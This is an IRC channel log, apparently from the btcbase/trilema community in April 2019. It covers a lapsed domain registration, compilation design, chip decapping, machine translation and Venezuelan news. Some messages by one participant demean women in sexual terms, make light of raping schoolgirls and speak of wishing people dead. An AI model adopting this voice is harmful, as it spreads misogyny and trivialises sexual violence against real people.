1910161;1556487458;feedbot;http://qntra.net/2019/04/german-secret-police-panic-over-prepping-fad/ << Qntra -- German Secret Police Panic Over "Prepping" Fad
1910162;1556495441;feedbot;http://pizarroisp.net/2019/04/28/pizarro-isp-april-28th-update/ << PizarroISP -- Pizarro ISP April 28th Update
1910163;1556547074;asciilifeform;!Q later tell phf  btcbase.org aint pinging !
1910164;1556547074;lobbesbot;asciilifeform: The operation succeeded.
1910165;1556551010;diana_coman;asciilifeform: btcbase.org pings fine from here
1910166;1556551415;asciilifeform;diana_coman: pretty strange
1910167;1556551437;asciilifeform;dun ping from swampistan or from dulap
1910168;1556551441;asciilifeform;as of at least 3h ago
1910169;1556551489;asciilifeform;aaalso resolves to lulazon 'cloud' , an' i'm pretty sure that wasn't where phf kept it
1910170;1556551596;asciilifeform;diana_coman: can plz post a traceroute from your end ?
1910171;1556551731;asciilifeform;http://p.bvulpes.com/pastes/fJa7Z/?raw=true << from dulap.
1910172;1556552134;asciilifeform;incidentally, the dnsism -- Updated Date: 2019-04-29T08:52:01Z
1910173;1556552174;asciilifeform;Registry Expiry Date: 2019-04-29T12:31:01Z .
1910174;1556552184;asciilifeform;achtung phf !
1910175;1556552216;mod6;I'm not able to see btcbase.org/log either, from at least two different locations.
1910176;1556552233;mod6;ahh
1910177;1556552382;asciilifeform;i'ma guess diana_coman is using mircea_popescu's method. canhaz the current ip, diana_coman plox ?
1910178;1556552740;*;asciilifeform reluctantly gets up from chair, and goes to fetch, and brings back http://104.131.72.249/log
1910179;1556552742;asciilifeform;mod6 ^
1910180;1556552854;asciilifeform;indeed box is alive, phf slept through the domain expiry.
1910181;1556553349;*;mod6 checks
1910182;1556553385;mod6;Works!  Thanks asciilifeform :]
1910183;1556555048;diana_coman;asciilifeform: sorry, I was away; but yes, I'm using /etc/hosts and it's set as 104.131.72.249 in mine
1910184;1556561781;PeterL;looks like the log is down?
1910185;1556561896;asciilifeform;PeterL: phf slept through his dns expiry. http://104.131.72.249/log worx for nao.
1910186;1556561955;PeterL;oh, thanks
1910187;1556562033;PeterL;looks like I missed that this conversation already happened!
1910188;1556566927;feedbot;http://ossasepia.com/2019/04/29/liliacul-madelena/ << Ossa Sepia -- Liliacul madelena
1910189;1556568824;phf;http://btcbase.org/log/2019-04-29#1910180 << i don't own the domain, it's mircea_popescu's
1910190;1556568824;a111;Logged on 2019-04-29 15:47 asciilifeform: indeed box is alive, phf slept through the domain expiry.
1910191;1556568824;lobbesbot;phf: Sent 1 week, 4 days, 4 hours, and 13 minutes ago: <asciilifeform> plox to snarf http://btcbase.org/log/2019-04-17#1908836 , ty
1910192;1556568825;lobbesbot;phf: Sent 6 hours and 2 minutes ago: <asciilifeform> btcbase.org aint pinging !
1910193;1556569261;phf;http://btcbase.org/log/2019-04-18#1909042 << just came back from a week long trip through georgia, will snarf tomorrow
1910194;1556569261;a111;Logged on 2019-04-18 15:59 asciilifeform: !Q later tell phf plox to snarf http://btcbase.org/log/2019-04-17#1908836 , ty
1910195;1556574190;feedbot;http://qntra.net/2019/04/china-souring-on-dirty-canadian-agricultral-products/ << Qntra -- China Souring On Dirty Canadian Agricultral Products
1910196;1556586374;asciilifeform;https://archive.is/kcoqj << meanwhile in heathen lulz : public list of (certain species of) wreckers in linux. ( author appears to have irc presence -- possibly can be persuaded to visit ? )
1910197;1556587215;asciilifeform;http://techrights.org/2019/04/21/irc-log-27012019/ << these people even have logtron. ( quick read gives strong flavour of 'catv'... but i did not dig in detail )
1910198;1556608640;mp_en_viaje;hola!
1910199;1556610199;mp_en_viaje;the old Pantsuit guard's preferred strategy of taxing carbon dioxide output as a means of connecting socialisms across the globe under a singular Pantsuit order. << that's quite the fucking point, stalin's old dream finally came close to realisation, global socialism spearheaded by the only effectual tool it ever found : taxation.
1910200;1556610282;mp_en_viaje;phf, log down ?
1910201;1556610558;feedbot;http://trilema.com/2019/that-old-story/ << Trilema -- That old story...
1910202;1556610608;mp_en_viaje;http://logs.bvulpes.com/trilema << apparently ben_vulpes 's logger also dead...
1910203;1556610707;mp_en_viaje;check it out, if i wish to read the logs -- which i have to wish, unless i idle 24/7, which i currently don't -- all that's available is [http://log.mkj.lt/trilema/today[Framedragger ;s site].
1910204;1556610732;mp_en_viaje;i suppose we're lucky dood's workmanship is of higher quality than his attention span.
1910205;1556610889;mp_en_viaje;http://archive.is/vmcAd << last archived page of btcbase, april 27th. oy vey
1910206;1556611552;phf;mp_en_viaje: no it's operational, but you need to renew btcbase domain
1910207;1556611570;mp_en_viaje;http://log.mkj.lt/trilema/20190427/#77 << there's a lot of hopeful thinking in this "change a line, compile the line, move on". i know you said "section" instead of line, but this is a cop-out : you meant the same as line, but didn't want to string-match the string line, so used a new string to mean, on one hand, every good about line or as close as possible, and on the other hand, no ill about line, whatsoever. this isn't very useful : in point of
1910208;1556611571;scriba;Logged on 2019-04-27: [14:04:48] <asciilifeform> you turn on the mains, thing compiles the coupla MB of sores kept in nonvolatile. this -- runs. you go an' change a line, it recompiles that section, at same time as the cache refreshes.
1910209;1556611571;mp_en_viaje; fact, ~even for well written, well designed code~ the promise you won't be stuck reccompiling the whole god damned thing every time you change a line is but a promise.
1910210;1556611581;mp_en_viaje;and in shitty code, it's a guarantee, as sad experience doth inform.
1910211;1556611597;mp_en_viaje;phf, ok, but this is just some random connection with random dns. seems nobody knows the new one ? how do i get it ?
1910212;1556611611;mp_en_viaje;o fuck me, ~I~ need to renew it ?!
1910213;1556611621;phf;yeah :)
1910214;1556611626;mp_en_viaje;o god damn it.
1910215;1556611639;mp_en_viaje;why didn't you say anything before!!! i can't fuckign get into that from here ;/
1910216;1556611711;*;mp_en_viaje 's been facepalming with three hands.
1910217;1556611807;mp_en_viaje;phf, afaik, there's a grace period, flowing supposably from when it went dark, which i assume is the 27th, be like a week ? giving me about 3-4 days to figure something out here ?
1910218;1556611875;phf;so it went dark sometime around 28th, because first message on 29th is ascii complaining
1910219;1556611892;mp_en_viaje;heh
1910220;1556611966;phf;ah, whois says it was updated on the 29th
1910221;1556611981;mp_en_viaje;i have nfi how this even happened, afaik i had everything extended before takingoff.
1910222;1556612091;mp_en_viaje;anyways, ima see to it then, hopefully i can entangle this befoar it's toolate.jpg
1910223;1556612100;mp_en_viaje;what fun and excitement the online world reserves one!
1910224;1556612106;mp_en_viaje;meanwhile what be the ip in question ?
1910225;1556612124;phf;is the registration handled through namesilo?
1910226;1556612135;phf;http://104.131.72.249/log/
1910227;1556612155;mp_en_viaje;phf, if memory serves.
1910228;1556612158;mp_en_viaje;ty
1910229;1556612238;phf;so there's a 31 day grace period, on the 5th day the domain can be bid on via auction, to be sold on the 31st. (if it's not bid on there's a 34-64 days further grace extension at $75)
1910230;1556612273;mp_en_viaje;ah so ~any time in may works ? ok, ima definitely get to it by then.
1910231;1556612288;phf;https://www.namesilo.com/Support/Expiration-Process
1910232;1556612364;mp_en_viaje;nice policy they have. alright.
1910233;1556612444;mp_en_viaje;in other unrelated news, i very much recommend budapest to the weary traveler.
1910234;1556612463;mp_en_viaje;average hotel wench so dedicated to her job, gladly will help you test the beds with her.
1910235;1556612867;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910118 << but hey, at least was independent [http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/][cocksucker], didn't come about to suck our pricks like god ordained ; instead lived independently!!! as smart [http://trilema.com/2011/romanul-si-marea/#selection-109.0-109.433][tarabostes]!!!
1910236;1556612867;a111;Logged on 2019-04-27 14:06 asciilifeform: it aint even so hard to implement ~on pc~ -- poor madman terry davis, ~had it~ . ( asciilifeform happens to think that davis read his www, but at this pt only beelzebub knows, whether read or came to the obv notion on own steam.. )
1910237;1556612867;mp_en_viaje;not sucker! [http://trilema.com/2011/povestea-celor-trei-imparati-smecheri-si-a-celor-trei-negustori-fraieri-fabula-in-versuri-ilustrata/#selection-29.0-29.316][true smart romanian], glory be.
1910238;1556613102;mp_en_viaje;i wonder how many of these ubersmart fucktards need to die, and i do mean it quite literally, terry davis is as stiff as stiff gets, [http://trilema.com/2016/asscience/][that other fucktard idem], there's no poetic license here, no rhetoric figure. i wonder how many of these fucktards still have to DIE before the notion finally raises in their stupid if thick skulls that stupid infanitle shit a la http://btcbase.org/log/2019-04-07#1907214 is ~IMPER
1910239;1556613102;a111;Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
1910240;1556613102;mp_en_viaje;MISSIBLE~.
1910241;1556613176;mp_en_viaje;beating women in the street with no provication may perhaps be even excused, raping random girlies picked from grammar school gun in hand could perhaps be explained, but putting up idiotic airs of "mental independence" an' "intellectual skepticism" etcetera in front of the edifice of reason is NOT FUCKING POSSIBLE. can't be done, can't pass, can't work, holy hell how hard is it.
1910242;1556613331;mp_en_viaje;here i am stuck repressing everyone's perfectly legitimate tendency to put stones on the graves of the intelligent because these intelligent were in point of fact SO FUCKING STUPID as to be worse than the dumb.
1910243;1556613345;mp_en_viaje;a miserable lot.
1910244;1556614651;mp_en_viaje;spyked, diana_coman check this shit out : as per google trasnlate, "To understand ourselves from the beginning, what's a slut? Ehehei, the girls of the mosque, the dumb is not the shoe. ' And sucker? Hahaha. Well that sucker is who puts the shoe '. Lamuriti? Mine, we're going." is the equivalent of "	
1910245;1556614651;mp_en_viaje;Ca sa ne intelegem de la bun inceput, ce-i ala un smecher ? Ehehei, fetii mosului, smecher e ala care nu pune botu'. Si fraier ? Hahaha. Pai fraier e ala care pune botu'. Lamuriti ? Mnoa, sa purcedem."
1910246;1556614713;mp_en_viaje;everyone i meet seems to think "the power of technology", as embodied in ustardistan's websites, has resolved all sort and manner of ancient problems, such as translation.
1910247;1556614751;mp_en_viaje;but in fact, i suspect, the solution came rather from the other direction : since they have nothing to say and nobody to say it to anyway, they've started only saying those things for which the technology works admirably well. wooden tongue v2.0.
1910248;1556615255;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910127 << "It hasn’t got a search." is truly withering. even in good quality scientific work of the late 1800s, with properly made indices and everything else [for the use of the, at the time still workign, british parliamentary life], i ~still~ feel bogged down.
1910249;1556615255;a111;Logged on 2019-04-27 14:09 asciilifeform: + [http://www.loper-os.org/?p=752#selection-99.0-99.48][sequel] .
1910250;1556615334;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910131 << nobody's gonna buy infrastructure in latin america, gimme a break. five cents to the book dollar should it go for, there's still not going to be any buyers.
1910251;1556615334;a111;Logged on 2019-04-27 16:59 BingoBoingo: And Petrobras fires back at the natural gas derps and Uruguay by putting all of their gas station chain up for sale, Great Victory for labor... https://www.elobservador.com.uy/nota/petrobras-puso-a-la-venta-sus-estaciones-de-servicio-en-el-pais-20194262343
1910252;1556615397;mp_en_viaje;they're married to it and they know it.
1910253;1556615412;mp_en_viaje;(incidentally, this is the reason marriage contract"
1910254;1556615440;mp_en_viaje;works the way everyone knows it to work -- highly depreciating asset of little economic value [if great social service] in a very unreliable political climate.)
1910255;1556615832;mp_en_viaje;!#s from:valfor
1910256;1556615832;a111;0 results for "from:valfor", http://btcbase.org/log-search?q=from%3Avalfor
1910257;1556615901;mp_en_viaje;http://btcbase.org/log/2019-04-30#1910197 << /me joined. lulzily enough (but keeping to [http://trilema.com/2016/cat-vorg-adnotated/#selection-205.1-208.0][tradition]), there's a name i recognize in the list.
1910258;1556615901;a111;Logged on 2019-04-30 01:20 asciilifeform: http://techrights.org/2019/04/21/irc-log-27012019/ << these people even have logtron. ( quick read gives strong flavour of 'catv'... but i did not dig in detail )
1910259;1556615942;mp_en_viaje;http://104.131.72.249/log-search?q=valfor << of course, dood never actually said anything ; i guess it's just a "research logger", keeping track of you know, terrorism or w/e.
1910260;1556619338;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910136 << i don't see the major impediment either fwiw.
1910261;1556619338;a111;Logged on 2019-04-27 21:11 lobbes: I guess I don't see the problem atm with having the two branches, though I welcome being convinced/pointed-to-log-threads (I've been re-reading the threads referenced in spyked's blog, but still have to finish, so possibly not grokking some fundamental bits discussed somewhere)
1910262;1556619533;mp_en_viaje;http://btcbase.org/log/2019-04-27#1910137 << i suppose nsa could afford a few of those, for a good reason...
1910263;1556619533;a111;Logged on 2019-04-27 21:50 asciilifeform: in other noose, asciilifeform met with some meatspace folx who rent out time on sem & ion beam station by the hr. 'bout a hundy per hr.
1910264;1556620141;mp_en_viaje;http://btcbase.org/log/2019-04-28#1910146 << this is turning into something quite like the classical stories about faith. "knock and the wall stays a wall ; but knock with faith and the mountain will move aside!"
1910265;1556620141;a111;Logged on 2019-04-28 08:28 diana_coman: asciilifeform: so basically the "can't have x" is more indicative of "didn't look for it irl seriously enough"?
1910266;1556620253;mp_en_viaje;http://btcbase.org/log/2019-04-28#1910153 << this should probably be documented on your blog!!!
1910267;1556620253;a111;Logged on 2019-04-28 15:23 asciilifeform: in this case, a local physics lab ( erry year they give tour to gawkers , i enjoy posing sadistic questions to the academicoolies )
1910268;1556620694;mp_en_viaje;http://btcbase.org/log/2019-04-29#1910193 << oh how was georgia ? pics ? worth taking the slutharvesters over ?
1910269;1556620694;a111;Logged on 2019-04-29 20:21 phf: http://btcbase.org/log/2019-04-18#1909042 << just came back from a week long trip through georgia, will snarf tomorrow
1910270;1556620709;mp_en_viaje;i hear pretty cunts grow there.
1910271;1556620757;mp_en_viaje;my oh my, logdone! woots.
1910272;1556622443;feedbot;http://trilema.com/2019/diccionariul-banacean-de-lucruri-fapte-si-locuri-imdepartate-si-inportante/ << Trilema -- Diccionariul Banacean -- de lucruri, fapte si locuri imdepartate si inportante
1910273;1556623245;mp_en_viaje;aite well, ima bbl
1910274;1556623267;*;mp_en_viaje apologizes for saying he'll be back fri and then never  showing up. too much good wine here.
1910275;1556626636;diana_coman;http://btcbase.org/log/2019-04-30#1910244 -> bwahaha, so smecher -> slut and fetii mosului -> the girls of the mosque, it might be on to something there; but yes, wooden tongue 2.0; I keep having deja vu on this but I can't quite turn it up if indeed it was discussed previously with same conclusion.
1910276;1556626636;a111;Logged on 2019-04-30 08:57 mp_en_viaje: spyked, diana_coman check this shit out : as per google trasnlate, "To understand ourselves from the beginning, what's a slut? Ehehei, the girls of the mosque, the dumb is not the shoe. ' And sucker? Hahaha. Well that sucker is who puts the shoe '. Lamuriti? Mine, we're going." is the equivalent of "	
1910277;1556634154;asciilifeform;http://btcbase.org/log/2019-04-30#1910209 << this is a solvable problem -- given a) lang that actually supports modularization ( ada & common lisp, afaik, being the only such currently ) ; b) mandatorily compact system soft (i.e. specifically opposed to [http://btcbase.org/log/2018-04-06#1793733][mil+ loc of liquishit]   c) generous public whippings for 'the dancers who are hindered by own arse'
1910278;1556634154;a111;Logged on 2019-04-30 08:06 mp_en_viaje:  fact, ~even for well written, well designed code~ the promise you won't be stuck reccompiling the whole god damned thing every time you change a line is but a promise.
1910279;1556634154;a111;Logged on 2018-04-06 21:12 asciilifeform: a 500k-loc ( ignoring even for a moment the far greater heft of 'modern' wonders ) c/cpp proggy is, for all intents and purposes, closed-source, even if every line is published, because it is quite impossible for anyone -- even author -- to get a proper grip on its behaviour space
1910280;1556634347;asciilifeform;http://btcbase.org/log/2019-04-30#1910215 << iirc it is actually possible for unauthenticated third party to renew dnsisms (provided the record is unchanged) . (anyone recall how ? and did i dream this? )
1910281;1556634347;a111;Logged on 2019-04-30 08:07 mp_en_viaje: why didn't you say anything before!!! i can't fuckign get into that from here ;/
1910282;1556634461;*;asciilifeform brb:tea
1910283;1556637453;asciilifeform;http://btcbase.org/log/2019-04-30#1910238 << given that 'hunchback straightens in the grave' -- i'd expect all of'em
1910284;1556637453;a111;Logged on 2019-04-30 08:31 mp_en_viaje: i wonder how many of these ubersmart fucktards need to die, and i do mean it quite literally, terry davis is as stiff as stiff gets, [http://trilema.com/2016/asscience/][that other fucktard idem], there's no poetic license here, no rhetoric figure. i wonder how many of these fucktards still have to DIE before the notion finally raises in their stupid if thick skulls that stupid infanitle shit a la http://btcbase.org/log/2019-04-07#1907214 is ~IMPER
1910285;1556637597;asciilifeform;http://btcbase.org/log/2019-04-30#1910262 << if mircea_popescu invented how to turn asciilifeform's bolix dig into a snsa-able product, i'm all ears
1910286;1556637597;a111;Logged on 2019-04-30 10:18 mp_en_viaje: http://btcbase.org/log/2019-04-27#1910137 << i suppose nsa could afford a few of those, for a good reason...
1910287;1556637752;asciilifeform;( as it is, asciilifeform runs it 100% from own pocket , cuz how else )
1910288;1556637847;asciilifeform;http://btcbase.org/log/2019-04-30#1910266 << was mostly a snoar, save for that 1 lead
1910289;1556637847;a111;Logged on 2019-04-30 10:30 mp_en_viaje: http://btcbase.org/log/2019-04-28#1910153 << this should probably be documented on your blog!!!
1910290;1556637901;asciilifeform;i'ma defo publish the microscopies tho, when they finally happen. ( which won't be for a while, not only 0 free hands currently, but i gotta either delayer the thing with own hands or find someone whose hands grow from right place, to do it )
1910291;1556637930;asciilifeform;and it'll need not only decapping but 4 or 5 layer strippings
1910292;1556637957;asciilifeform;( and, depending on how it goes, may have to happen >1ce , which is why bought spares )
1910293;1556637993;asciilifeform;it aint as if 'oh this clump of transistors dissolved , i'ma simply guess what may've been there' is a viable algo.
1910294;1556638646;asciilifeform;http://btcbase.org/log/2019-04-30#1910248 << sorta why i put in substantial sweat to [http://btcbase.org/log/2018-10-13#1861669][make phuctor searchable]
1910295;1556638646;a111;Logged on 2019-04-30 09:07 mp_en_viaje: http://btcbase.org/log/2019-04-27#1910127 << "It hasn’t got a search." is truly withering. even in good quality scientific work of the late 1800s, with properly made indices and everything else [for the use of the, at the time still workign, british parliamentary life], i ~still~ feel bogged down.
1910296;1556638646;a111;Logged on 2018-10-13 03:25 asciilifeform: mircea_popescu: i used a 'trigraph' index, they're O(~n log n) , if yer interested.
1910297;1556643411;BingoBoingo;Apparently the CIA coup in Vzla has reached its violent stage
1910298;1556644529;feedbot;http://qntra.net/2019/04/cia-stooges-venezuela-coup-gets-violent/ << Qntra -- CIA Stooge's Venezuela Coup Gets Violent
1910299;1556645266;mp_en_viaje;http://btcbase.org/log/2019-04-30#1910275 << that "girls of the mosque" has decent chances of making it into coinage. it is a harem after all, amirite.
1910300;1556645266;a111;Logged on 2019-04-30 12:17 diana_coman: http://btcbase.org/log/2019-04-30#1910244 -> bwahaha, so smecher -> slut and fetii mosului -> the girls of the mosque, it might be on to something there; but yes, wooden tongue 2.0; I keep having deja vu on this but I can't quite turn it up if indeed it was discussed previously with same conclusion.
1910301;1556645283;mp_en_viaje;http://btcbase.org/log/2019-04-30#1910277 << or so we (both) currently hope.
1910302;1556645283;a111;Logged on 2019-04-30 14:22 asciilifeform: http://btcbase.org/log/2019-04-30#1910209 << this is a solvable problem -- given a) lang that actually supports modularization ( ada & common lisp, afaik, being the only such currently ) ; b) mandatorily compact system soft (i.e. specifically opposed to [http://btcbase.org/log/2018-04-06#1793733][mil+ loc of liquishit]   c) generous public whippings for 'the dancers who are hindered by own arse'
1910303;1556645675;*;BingoBoingo waiting for noise to clear, but apparently Guaidó's folks failed to seize La Carlota airbase.
1910304;1556645744;*;asciilifeform waves to mp_en_viaje 
1910305;1556645745;mp_en_viaje;awww
1910306;1556645748;mp_en_viaje;heya alfie.
1910307;1556645779;asciilifeform;mp_en_viaje: how's old europistan ?
1910308;1556645791;mp_en_viaje;slutty.
1910309;1556645813;mp_en_viaje;how's new swampistan ?
1910310;1556645842;asciilifeform;in that short little season it has b/w the frost and the mosquitoes emerging
1910311;1556645857;mp_en_viaje;lovely ?
1910312;1556645874;asciilifeform;was, for coupla wks
1910313;1556645884;asciilifeform;nao the usual hot/humid
1910314;1556645888;mp_en_viaje;ah.
1910315;1556645946;asciilifeform;in unrelated noose, asciilifeform when found http://btcbase.org/log/2019-04-22#1909217 took half hr to compile an' leave it churning on a dev board. in week+ nao, did not fall down. which means possibly worth reading and genesising when asciilifeform or someone else has free hand.
1910316;1556645946;a111;Logged on 2019-04-22 00:00 asciilifeform: in entirely unrelated heathen lulz : asciilifeform found an -- apparently working -- usb 'serial device' stack for ice40 . only eats 1/3 of the LUTs in the '8k', too.
1910317;1556645952;mp_en_viaje;http://btcbase.org/log/2019-04-30#1910280 << i doubt it, seeing how you have to pay for it ; anyway, ima have this fixed by ~same time next week. sorry, best i can do atm.
1910318;1556645952;a111;Logged on 2019-04-30 14:25 asciilifeform: http://btcbase.org/log/2019-04-30#1910215 << iirc it is actually possible for unauthenticated third party to renew dnsisms (provided the record is unchanged) . (anyone recall how ? and did i dream this? )
1910319;1556645977;asciilifeform;mp_en_viaje: not sure where i got the notion. dun seem to have any corresponding knob in reality, aha
1910320;1556645978;mp_en_viaje;o btw, saw the techrights discussion ?
1910321;1556645982;asciilifeform;aha
1910322;1556645989;asciilifeform;read some of their log even.
1910323;1556645998;asciilifeform;there's a ru d00d, with at least half a brain, and buncha ???s.
1910324;1556646020;asciilifeform;if mp_en_viaje was in there i missed it tho
1910325;1556646026;mp_en_viaje;http://btcbase.org/log/2019-04-30#1910285 << not specifically, but i judge the pics decent blogging material.
1910326;1556646026;a111;Logged on 2019-04-30 15:19 asciilifeform: http://btcbase.org/log/2019-04-30#1910262 << if mircea_popescu invented how to turn asciilifeform's bolix dig into a snsa-able product, i'm all ears
1910327;1556646029;asciilifeform;( only joined the thing itself this morning )
1910328;1556646038;mp_en_viaje;is the ru dood the ron fellow from the uk ?
1910329;1556646060;asciilifeform;XRevan86 iirc was the nick
1910330;1556646073;mp_en_viaje;ah ah
1910331;1556646099;mp_en_viaje;anyway, maybe something there, kinda hard to evaluate right nao
1910332;1556646157;asciilifeform;there's an atmosphere of... how does one 'безнадёга' in eng.
1910333;1556646165;asciilifeform;wagner/cyanide, iguess
1910334;1556646201;asciilifeform;typical of folx mired in heathendom but with some vague lick of sense.
1910335;1556646247;mp_en_viaje;i suppose.
1910336;1556646448;mp_en_viaje;asciilifeform, what do you mean you missed it ?!
1910337;1556646485;asciilifeform;mp_en_viaje: http://btcbase.org/log/2019-04-30#1910257
1910338;1556646485;a111;Logged on 2019-04-30 09:18 mp_en_viaje: http://btcbase.org/log/2019-04-30#1910197 << /me joined. lulzily enough (but keeping to [http://trilema.com/2016/cat-vorg-adnotated/#selection-205.1-208.0][tradition]), there's a name i recognize in the list.
1910339;1556646497;asciilifeform;they have log, but for some reason not updated in realtime
1910340;1556646497;mp_en_viaje;asciilifeform, dood, they don't have A LOGGER.
1910341;1556646509;mp_en_viaje;http://techrights.org/wp-content/uploads/2019/04/irc-log-techrights-27012019.html << this is a single fucking page, uploaded to a wordpress
1910342;1556646513;mp_en_viaje;a sec.
1910343;1556646529;*;asciilifeform looked for link to current month, may have missed
1910344;1556646559;mp_en_viaje;asciilifeform, http://p.bvulpes.com/pastes/qOfYe/?raw=true
1910345;1556646565;asciilifeform;ty
1910346;1556646584;*;asciilifeform eats..
1910347;1556647143;asciilifeform;interesting : i kept waiting for the 'catv moment' but nope
1910348;1556647149;asciilifeform;at least -- notyet.
1910349;1556647170;*;asciilifeform ate.
1910350;1556647170;mp_en_viaje;i suppose i should say hi again
1910351;1556647233;mp_en_viaje;asciilifeform, in fairness, just getting a general idea of wtf is going on takes like a week.
1910352;1556647249;asciilifeform;there's an activation energy barrier , of sorts, even with bright heathens, where 'waddayamean yer not in the cage with us, yer saying cage has an outside?!'
1910353;1556647321;mp_en_viaje;not even that, i don't think. rather, you know, "explain this whole quantum thing" "well... first, there's the wave function. actually no, wait. first, there's the quantification, and therefore the atomic model, and besides mercury precession and consider how prettily lorenz contraction works with schroedinger equation..."
1910354;1556647326;mp_en_viaje;takes a while.
1910355;1556647337;asciilifeform;verily
1910356;1556647348;asciilifeform;the folx who know how to sit still long enuff -- have a chance.
1910357;1556647358;mp_en_viaje;something like that.
1910358;1556647385;mp_en_viaje;btw alfie : tell me a russian joke.
1910359;1556647495;asciilifeform;drunken idiot walks into a tram. pushes his way through the aisle, knocking over bags, etc. pronounces 'i will walk on your heads!' people grumble, move. but bald man does not move. spits on his hand, lathers up his already shining noggin. 'may you slip!'
1910360;1556647520;mp_en_viaje;ahahaha
1910361;1556648016;mp_en_viaje;asciilifeform, his was not so bad either!
1910362;1556648099;asciilifeform;chukcha is ~bottomless well of lulz
1910363;1556648111;asciilifeform;ameristan is misfortunate for lacking proper chukcha.
1910364;1556648120;asciilifeform;(or perhaps does not lack, but lacks errything else?)
1910365;1556648570;mp_en_viaje;used to be the whole blackface thing
1910366;1556649790;asciilifeform;mp_en_viaje: afaik not really similar, was moar of a kindergarten 'point an' laff at the monkey'
1910367;1556649820;mp_en_viaje;well, subtlety was never a strong point of those great plains.
1910368;1556650019;asciilifeform;lol just when asciilifeform begins to think 'maybe they have clue' -- out comes the systemdism, sslism
1910369;1556650113;mp_en_viaje;we shall get to the bottom of this.
1910370;1556660990;asciilifeform;!Q later tell mp_en_viaje http://p.bvulpes.com/pastes/AoJ53/?raw=true << asciilifeform's attempt, after you went, ftr.
1910371;1556660990;lobbesbot;asciilifeform: The operation succeeded.
1910372;1556662424;*;asciilifeform bbl:meat
1910373;1556666615;feedbot;http://bingology.net/2019/04/30/peso-watch-april-2019/ << Bingology - BingoBoingo's Blog -- Peso Watch April 2019